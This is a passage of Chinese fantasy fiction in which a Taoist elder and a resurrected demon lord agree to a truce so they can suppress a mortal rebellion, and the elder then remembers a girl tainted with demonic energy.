方才盘桓在王府上方饥饿的凶兽已让太衡察觉到熟悉的气息,所以这气质出挑的魔将身份极好猜,而能令魔域这位著名战将俯首听命的,世间唯有一人。
他恍然大悟:“魔情公子,我还道你死了。”
“没那么容易遂你们的心。”魔情不无讽刺地答。
“你屠灭清心宗三万门人,此事绝无可能就此干休,即便如今暂时止战,道域也会追杀你到天涯海角。”
清心宗被屠和他实在不相干,魔情懒得解释,只是不耐烦道:“那是另一桩事,道长到底要不要帮你这群不成器的小辈收拾好眼前的烂摊子?”
太衡眉峰蹙起,实在不知眼前这魔头打的什么主意。
“你我如今目的相同,不如且搁置道魔恩怨,先把此间事了了如何?事毕你履行你的承诺,我回我的魔域,届时想再杀个你死我活奉陪。”
“我如何确保你不会为祸人间?”
“你确保不了,我等随时可以把此间砸个稀巴烂,我只是告诉你,我等并无这样的意图,且在帮萧家这倒霉江山平叛。”
“魔公子,你到底在打什么主意?”
“和蚂蚁斗有什么意思?他们又不是势均力敌的对手。”
硬要说,祭品已经拿到了。计算时日,战乱平息之时,他的肉身应已修复,可回魔域清理门户了,故此接下来的平叛,都是顺手的乐趣,战争、死亡,由此而生的贪欲和绝望,何乐而不为之?
或许,还有一个更小的理由,魔情脑中蓦然浮现一个身影。
还是不要让她流离失所吧。
太衡想起他初到并州,见大营里军容整肃,那领军操练的武将,正是他面前的饕餮。
“你杀了齐室天子,现在又协助平乱,你不觉得此事相当矛盾吗?”
“那么我再说清楚些好了,是你那不成器的徒孙先要动手,我彼时受伤,顺势夺舍了他,而后才知他身份,因这桩机缘,如今社稷生变,顺手帮个忙,不为过吧?道长?”
此魔公子最器重的大将苏都叛变,将主上斩杀,这是此前在道域也传得沸沸扬扬的大事,看来,魔公子此前的确受创甚重,此传言不虚,一些谜团被关键的线索串了起来,他明白了魔情的意思。
但道域忌惮的宿敌竟然没死,此事还是太可惜了。
清心宗的账还得容后再算,人间的战期迫近,但眼下的确平乱才是首要的,太衡抬手,敛去周身天罡之气,做了个停战的示意。
魔情也摆了摆手,饕餮和他身旁的夜族,也收敛了煞气,服从地退至他身后。
但还有一事。
虽然搁置了冲突,太衡突然想到,他此行的确没怎么发现魔族对凡人造成影响的痕迹,只除了那一位。
周王府里,尚有位不知何故,满身魔气的姑娘。